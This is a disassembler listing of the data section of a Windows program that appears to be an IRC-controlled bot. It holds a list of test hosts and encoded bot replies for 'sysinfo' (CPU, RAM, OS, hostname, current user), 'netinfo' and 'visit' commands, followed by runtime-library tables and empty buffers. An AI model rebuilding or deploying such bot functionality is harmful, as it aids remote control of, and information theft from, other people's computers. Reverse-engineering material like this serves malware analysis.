		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 61EE31C1h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
		dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
